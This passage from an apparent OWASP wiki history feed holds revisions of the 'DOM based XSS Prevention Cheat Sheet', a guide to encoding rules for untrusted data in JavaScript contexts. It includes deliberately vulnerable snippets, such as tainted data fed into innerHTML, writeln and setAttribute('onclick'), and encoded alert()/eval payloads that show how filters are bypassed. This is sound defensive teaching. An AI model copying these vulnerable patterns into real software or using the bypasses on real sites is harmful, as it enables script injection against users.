It is important to use an encoding library that understands which characters can be used to exploit vulnerabilies in their respective contexts. Misconceptions abound related to the proper encoding that is required.&lt;br /&gt;
&lt;br /&gt;
==Encoding Misconceptions==&lt;br /&gt;
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS.  This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding.  However, if the pages returned from your web application utilize a content type of “text/xhtml” or the file type extension of “*.xhtml” then HTML encoding may not work to mitigate against XSS.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example: &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 &amp;amp;amp;#x61;lert(1);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The HTML encoded value above is still executable.  If that isn’t enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element. &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let’s look at the sample page and script:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;form name=”myForm” …&amp;gt;&lt;br /&gt;
   &amp;lt;input type=”text” name=”lName” value=”&amp;lt;%=Encoder.encodeForHTML(last_name)%&amp;gt;”&amp;gt;&lt;br /&gt;
 …&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var x = document.myForm.lName.value;  //when the value is retrieved the encoding is reversed&lt;br /&gt;
 document.writeln(x);  //any code passed into lName is now executable.&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Usually Safe Methods==&lt;br /&gt;
&lt;br /&gt;
One example of an attribute which is thought to be safe is innerText.  Some papers or guides advocate its use as an alternative to innerHTML to mitigate against XSS in innerHTML.  However, depending on the tag which innerText is applied, code can be executed. Also note, innerText is non standard and is not supported in FireFox&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var tag = document.createElement(“script”);&lt;br /&gt;
 tag.innerText = “&amp;lt;%=untrustedData%&amp;gt;”;  //executes code&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Contributing Editors  =&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Abraham Kang - abraham.kang[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Gareth (Gaz) Heyes&amp;lt;br/&amp;gt;&lt;br /&gt;
Stefano Di Paola&amp;lt;br/&amp;gt;&lt;br /&gt;
Achim Hoffmann - achim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Robert (RSnake) Hansen&amp;lt;br/&amp;gt;&lt;br /&gt;
Mario Heiderich&amp;lt;br/&amp;gt;&lt;br /&gt;
John Steven&amp;lt;br/&amp;gt;&lt;br /&gt;
Chris (Chris BEEF) Schmidt&amp;lt;br/&amp;gt;&lt;br /&gt;
Mike Samuel&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long&amp;lt;br/&amp;gt;&lt;br /&gt;
Eduardo (SirDarkCat) Alberto Vela Nava&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeff Williams - jeff.williams[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Erlend Oftedal&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=DOM_based_XSS_Prevention_Cheat_Sheet&amp;diff=210377</id>
		<title>DOM based XSS Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=DOM_based_XSS_Prevention_Cheat_Sheet&amp;diff=210377"/>
				<updated>2016-03-03T17:42:42Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Introduction */ - change 'different' to 'difference' based on context&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
When looking at XSS (Cross-Site Scripting), there are three generally recognized forms of [[XSS]].  [[XSS#Stored_and_Reflected_XSS_Attacks | Reflected, Stored]], and [[DOM Based XSS]].  The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]] does an excellent job of addressing Reflected and Stored XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension of) the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]].&lt;br /&gt;
&lt;br /&gt;
In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application. Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue. All of this code originates on the server, which means it is the application owner's responsibility to make it safe from XSS, regardless of the type of XSS flaw it is. Also, XSS attacks always &amp;lt;b&amp;gt;execute&amp;lt;/b&amp;gt; in the browser. The difference between Reflected/Stored XSS is where the attack is added or injected into the application. With Reflected/Stored the attack is injected into the application during server-side processing of requests where untrusted input is dynamically added to HTML. For DOM XSS, the attack is injected into the application during runtime in the client directly.&lt;br /&gt;
&lt;br /&gt;
When a browser is rendering HTML and any other associated content like CSS, javascript, etc. it identifies various rendering contexts for the different kinds of input and follows different rules for each context. A rendering context is associated with the parsing of HTML tags and their attributes.  The HTML parser of the rendering context dictates how data is presented and laid out on the page and can be further broken down into the standard contexts of HTML, HTML attribute, URL, and CSS.  The JavaScript or VBScript parser of an execution context is associated with the parsing and execution of script code.  Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent rules for mitigating vulnerabilities in various contexts difficult.   The complication is compounded by the differing meanings and treatment of encoded values within each subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.&lt;br /&gt;
&lt;br /&gt;
For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS Cheatsheet contexts as subcontexts because each of these contexts can be reached and set within a JavaScript execution context.  In JavaScript code, the main context is JavaScript but with the right tags and context closing characters, an attacker can try to attack the other 4 contexts using equivalent JavaScript DOM methods.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following is an example vulnerability which occurs in the JavaScript context and HTML subcontext:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var x = ‘&amp;lt;%= taintedVar %&amp;gt;’;&lt;br /&gt;
 var d = document.createElement(‘div’);&lt;br /&gt;
 d.innerHTML = x;&lt;br /&gt;
 document.body.appendChild(d);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let’s look at the individual subcontexts of the execution context in turn.&lt;br /&gt;
&lt;br /&gt;
==RULE #1 - HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext within the Execution Context==&lt;br /&gt;
&lt;br /&gt;
There are several methods and attributes which can be used to directly render HTML content within JavaScript.  These methods constitute the HTML Subcontext within the Execution Context. If these methods are provided with untrusted input, then an XSS vulnerability could result. For example:&lt;br /&gt;
&lt;br /&gt;
===Example Dangerous HTML Methods===&lt;br /&gt;
====Attributes====&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 element.innerHTML = “&amp;lt;HTML&amp;gt; Tags and markup”;&lt;br /&gt;
 element.outerHTML = “&amp;lt;HTML&amp;gt; Tags and markup”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Methods====&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.write(“&amp;lt;HTML&amp;gt; Tags and markup”);&lt;br /&gt;
 document.writeln(“&amp;lt;HTML&amp;gt; Tags and markup”);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Guideline===&lt;br /&gt;
To make dynamic updates to HTML in the DOM safe, we recommend a) HTML encoding, and then b) JavaScript encoding all untrusted input, as shown in these examples:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 element.innerHTML = “&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”;&lt;br /&gt;
 element.outerHTML = “&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.write(“&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”);&lt;br /&gt;
 document.writeln(“&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%&amp;gt;”);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: The Encoder.encodeForHTML() and Encoder.encodeForJS() are just notional encoders. Various options for actual encoders are listed later in this document.&lt;br /&gt;
&lt;br /&gt;
== RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext within the Execution Context ==&lt;br /&gt;
&lt;br /&gt;
The HTML attribute *subcontext* within the *execution* context is divergent from the standard encoding rules. This is because the rule to HTML attribute encode in an HTML attribute rendering context is necessary in order to mitigate attacks which try to exit out of an HTML attributes or try to add additional attributes which could lead to XSS.  When you are in a DOM execution context you only need to JavaScript encode HTML attributes which do not execute code (attributes other than event handler, CSS, and URL attributes).&lt;br /&gt;
&lt;br /&gt;
For example, the general rule is to HTML Attribute encode untrusted data (data from the database, HTTP request, user, back-end system, etc.) placed in an HTML Attribute.  This is the appropriate step to take when outputting data in a rendering context, however using HTML Attribute encoding in an execution context will break the application display of data.&lt;br /&gt;
&lt;br /&gt;
=== SAFE but BROKEN example===&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(“input”);&lt;br /&gt;
 x.setAttribute(“name”, “company_name”);&lt;br /&gt;
 // In the following line of code, companyName represents untrusted user input&lt;br /&gt;
 // The Encoder.encodeForHTMLAttr() is unnecessary and causes double-encoding&lt;br /&gt;
 x.setAttribute(“value”, ‘&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForHTMLAttr(companyName))%&amp;gt;’); &lt;br /&gt;
 var form1 = document.forms[0];&lt;br /&gt;
 form1.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The problem is that if companyName had the value “Johnson &amp;amp; Johnson”.  What would be displayed in the input text field would be “Johnson &amp;amp;amp;amp; Johnson”.  The appropriate encoding to use in the above case would be only JavaScript encoding to disallow an attacker from closing out the single quotes and in-lining code, or escaping to HTML and opening a new script tag.&lt;br /&gt;
&lt;br /&gt;
===SAFE and FUNCTIONALLY CORRECT example===&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(“input”);&lt;br /&gt;
 x.setAttribute(“name”, “company_name”);&lt;br /&gt;
 x.setAttribute(“value”, ‘&amp;lt;%=Encoder.encodeForJS(companyName)%&amp;gt;’);&lt;br /&gt;
 var form1 = document.forms[0];&lt;br /&gt;
 form1.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is important to note that when setting an HTML attribute which does not execute code, the value is set directly within the object attribute of the HTML element so there is no concerns with injecting up.&lt;br /&gt;
&lt;br /&gt;
==RULE #3 - Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts within an Execution Context==&lt;br /&gt;
&lt;br /&gt;
Putting dynamic data within JavaScript code is especially dangerous because JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings.  In many cases, JavaScript encoding does not stop attacks within an execution context.  For example, a JavaScript encoded string will execute even though it is JavaScript encoded.&lt;br /&gt;
&lt;br /&gt;
Therefore, the primary recommendation is to &amp;lt;u&amp;gt;avoid including untrusted data in this context&amp;lt;/u&amp;gt;. If you must, the following examples describe some approaches that do and do not work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = document.createElement(&amp;quot;a&amp;quot;);&lt;br /&gt;
 x.href=&amp;quot;#”;&lt;br /&gt;
 // In the line of code below, the encoded data on the right (the second argument to setAttribute) &lt;br /&gt;
 // is an example of untrusted data that was properly JavaScript encoded but still executes.&lt;br /&gt;
 x.setAttribute(&amp;quot;onclick&amp;quot;, &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029&amp;quot;);&lt;br /&gt;
 var y = document.createTextNode(&amp;quot;Click To Test&amp;quot;);&lt;br /&gt;
 x.appendChild(y);&lt;br /&gt;
 document.body.appendChild(x);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The setAttribute(&amp;lt;i&amp;gt;name_string&amp;lt;/i&amp;gt;,&amp;lt;i&amp;gt;value_string&amp;lt;/i&amp;gt;) method is dangerous because it implicitly coerces the  &amp;lt;i&amp;gt;string_value&amp;lt;/i&amp;gt; into the DOM attribute datatype of &amp;lt;i&amp;gt;name_string&amp;lt;/i&amp;gt;.  In the case above, the attribute name is an JavaScript event handler, so the attribute value is implicitly converted to JavaScript code and evaluated.  In the case above, JavaScript encoding does not mitigate against DOM based XSS.  Other JavaScript methods which take code as a string types will have a similar problem as outline above (setTimeout, setInterval, new Function, etc.).  This is in stark contrast to JavaScript encoding in the event handler attribute of a HTML tag (HTML parser) where JavaScript encoding mitigates against XSS.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
&amp;lt;!-- Does NOT work  --&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;bb&amp;quot; href=&amp;quot;#&amp;quot; onclick=&amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029&amp;quot;&amp;gt; Test Me&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An alternative to using Element.setAttribute(...) to set DOM attributes is to set the attribute directly.  Directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. Please note, it is always dangerous design to put untrusted data directly into a command execution context.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
    &amp;lt;a id=&amp;quot;bb&amp;quot; href=&amp;quot;#&amp;quot;&amp;gt; Test Me&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
            //The following does NOT work because the event handler is being set to a string.  &amp;quot;alert(7)&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onclick = &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029&amp;quot;;&lt;br /&gt;
            &lt;br /&gt;
            //The following does NOT work because the event handler is being set to a string.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = &amp;quot;testIt&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
            //The following does NOT work because of the encoded &amp;quot;(&amp;quot; and &amp;quot;)&amp;quot;. &amp;quot;alert(77)&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;&lt;br /&gt;
&lt;br /&gt;
            //The following does NOT work because of the encoded &amp;quot;;&amp;quot;. &amp;quot;testIt;testIt&amp;quot; is JavaScript encoded.&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074\u003b\u0074\u0065\u0073\u0074\u0049\u0074;&lt;br /&gt;
      &lt;br /&gt;
            //The following DOES WORK because the encoded value is a valid variable name or function reference.  &amp;quot;testIt&amp;quot; is JavaScript encoded&lt;br /&gt;
            document.getElementById(&amp;quot;bb&amp;quot;).onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;&lt;br /&gt;
&lt;br /&gt;
            function testIt() {&lt;br /&gt;
                &lt;br /&gt;
                alert(&amp;quot;I was called.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are other places in JavaScript where JavaScript encoding is accepted as valid executable code.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 for ( var \u0062=0; \u0062 &amp;lt; 10; \u0062++){&lt;br /&gt;
     \u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074                  &lt;br /&gt;
     .\u0077\u0072\u0069\u0074\u0065\u006c\u006e&lt;br /&gt;
     (&amp;quot;\u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
 \u0077\u0069\u006e\u0064\u006f\u0077&lt;br /&gt;
 .\u0065\u0076\u0061\u006c&lt;br /&gt;
 \u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074&lt;br /&gt;
 .\u0077\u0072\u0069\u0074\u0065(111111111);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var s = &amp;quot;\u0065\u0076\u0061\u006c&amp;quot;;&lt;br /&gt;
 var t = &amp;quot;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029&amp;quot;;&lt;br /&gt;
 window[s](t);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Because JavaScript is based on an international standard (ECMAScript), JavaScript encoding enables the support of international characters in programming constructs and variables in addition to alternate string representations (string escapes).  &lt;br /&gt;
&lt;br /&gt;
However the opposite is the case with HTML encoding.  HTML tag elements are well defined and do not support alternate representations of the same tag.  So HTML encoding cannot be used to allow the developer to have alternate representations of the &amp;lt;code&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/code&amp;gt; tag for example.&lt;br /&gt;
&lt;br /&gt;
===HTML Encoding’s Disarming Nature===&lt;br /&gt;
&lt;br /&gt;
In general, HTML encoding serves to castrate HTML tags which are placed in HTML and HTML attribute contexts.&lt;br /&gt;
Working example (no HTML encoding):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”…” &amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Normally encoded example (Does Not Work – DNW):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;amp;amp;#x3c;a href=… &amp;amp;amp;#x3e;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;&amp;amp;amp;#x61; href=…&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If HTML encoding followed the same semantics as JavaScript encoding.  The line above could have possibily worked to render a link.  This difference makes JavaScript encoding a less viable weapon in our fight against XSS.&lt;br /&gt;
&lt;br /&gt;
==RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext within the Execution Context==&lt;br /&gt;
&lt;br /&gt;
Normally executing JavaScript from a CSS context required either passing &amp;lt;code&amp;gt;javascript:attackCode()&amp;lt;/code&amp;gt; to the CSS url() method or invoking the CSS expression() method passing JavaScript code to be directly executed.  From my experience, calling the expression() function from an execution context (JavaScript) has been disabled.  In order to mitigate against the CSS url() method, ensure that you are URL encoding the data passed to the CSS url() method.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.body.style.backgroundImage = &amp;quot;url(&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForURL(companyName))%&amp;gt;)&amp;quot;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO: We have not been able to get the expression() function working from DOM JavaScript code.  Need some help.&lt;br /&gt;
&lt;br /&gt;
== RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext within the Execution Context ==&lt;br /&gt;
&lt;br /&gt;
The logic which parses URLs in both execution and rendering contexts looks to be the same.  Therefore there is little change in the encoding rules for URL attributes in an execution (DOM) context.&lt;br /&gt;
&lt;br /&gt;
 var x = document.createElement(“a”);&lt;br /&gt;
 x.setAttribute(“href”, ‘&amp;lt;%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%&amp;gt;’);&lt;br /&gt;
 var y = document.createTextElement(“Click Me To Test”);&lt;br /&gt;
 x.appendChild(y);&lt;br /&gt;
 document.body.appendChild(x);&lt;br /&gt;
&lt;br /&gt;
If you utilize fully qualified URLs then this will break the links as the colon in the protocol identifier (“http:” or “javascript:”) will be URL encoded preventing the “http” and “javascript” protocols from being invoked.&lt;br /&gt;
&lt;br /&gt;
== RULE #6 - Populate the DOM using safe JavaScript functions or properties ==&lt;br /&gt;
&lt;br /&gt;
The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, textContent. Here is an example of safe usage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 element.textContent = “&amp;lt;%=untrustedData%&amp;gt;”;  //does not executes code&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Guidelines for Developing Secure Applications Utilizing JavaScript=&lt;br /&gt;
&lt;br /&gt;
DOM based XSS is extremely difficult to mitigate against because of its large attack surface and lack of standardization across browsers.  The guidelines below are an attempt to provide guidelines for developers when developing Web based JavaScript applications (Web 2.0) such that they can avoid XSS.&lt;br /&gt;
&lt;br /&gt;
1. Untrusted data should only be treated as displayable text.  Never treat untrusted data as code or markup within JavaScript code. &amp;lt;br/&amp;gt;&lt;br /&gt;
2. Always JavaScript encode and delimit untrusted data as quoted strings when entering the application (Jim Manico and Robert Hansen) &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = “&amp;lt;%=encodedJavaScriptData%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
3. Use &amp;lt;code&amp;gt;document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…)&amp;lt;/code&amp;gt;, etc. to build dynamic interfaces.  Please note, element.setAttribute is only safe for a limited number of attributes. Dangerous attributes include any attribute that is a command execution context, such as onclick or onblur. Examples of safe attributes includes align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width.&amp;lt;br/&amp;gt;&lt;br /&gt;
4. Avoid use of HTML rendering methods:&amp;lt;br/&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;element.innerHTML = “…”; &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;element.outerHTML = “…”; &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;document.write(…); &amp;lt;/code&amp;gt;&lt;br /&gt;
#&amp;lt;code&amp;gt;document.writeln(…); &amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
5. Understand the dataflow of untrusted data through your JavaScript code.  If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data (Stefano Di Paola).&amp;lt;br/&amp;gt;&lt;br /&gt;
6. There are numerous methods which implicitly eval() data passed to it.  Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.  Ensure to follow step 4 above to make sure that the untrusted data is not sent to dangerous methods within the custom function or handle it by adding an extra layer of encoding.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Utilizing an Enclosure (as suggested by Gaz)&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example that follows illustrates using closures to avoid double JavaScript encoding.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 setTimeout((function(param) { return function() {&lt;br /&gt;
          customFunction(param);&lt;br /&gt;
          }&lt;br /&gt;
 })(&amp;quot;&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;&amp;quot;), y);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The other alternative is using N-levels of encoding.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;N-Levels of Encoding&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If your code looked like the following, you would need to only double JavaScript encode input data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 setTimeout(“customFunction(‘&amp;lt;%=doubleJavaScriptEncodedData%&amp;gt;’, y)”);&lt;br /&gt;
 function customFunction (firstName, lastName)&lt;br /&gt;
       alert(&amp;quot;Hello&amp;quot; + firstName + &amp;quot; &amp;quot; + lastNam);&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;doubleJavaScriptEncodedData&amp;lt;/code&amp;gt; has its first layer of JavaScript encoding reversed (upon execution) in the single quotes.  Then the implicit &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; of &amp;lt;code&amp;gt;setTimeout()&amp;lt;/code&amp;gt; reverses another layer of JavaScript encoding to pass the correct value to &amp;lt;code&amp;gt;customFunction&amp;lt;/code&amp;gt;.  The reason why you only need to double JavaScript encode is that the &amp;lt;code&amp;gt;customFunction&amp;lt;/code&amp;gt; function did not itself pass the input to another method which implicitly or explicitly called &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt;.  If &amp;quot;firstName&amp;quot; was passed to another JavaScript method which implicitly or explicitly called eval() then &amp;lt;code&amp;gt;&amp;lt;%=doubleJavaScriptEncodedData%&amp;gt;&amp;lt;/code&amp;gt; above would need to be changed to &amp;lt;code&amp;gt;&amp;lt;%=tripleJavaScriptEncodedData%&amp;gt;&amp;lt;/code&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An important implementation note is that if the JavaScript code tries to utilize the double or triple encoded data in string comparisons, the value may be interpreted as different values based on the number of evals() the data has passed through before being passed to the if comparison and the number of times the value was JavaScript encoded.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If &amp;quot;A&amp;quot; is double JavaScript encoded then the following if check will return false.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = &amp;quot;doubleJavaScriptEncodedA&amp;quot;;  //\u005c\u0075\u0030\u0030\u0034\u0031&lt;br /&gt;
 if (x == &amp;quot;A&amp;quot;) {&lt;br /&gt;
    alert(&amp;quot;x is A&amp;quot;);&lt;br /&gt;
 } else if (x == &amp;quot;\u0041&amp;quot;) {&lt;br /&gt;
    alert(&amp;quot;This is what pops&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
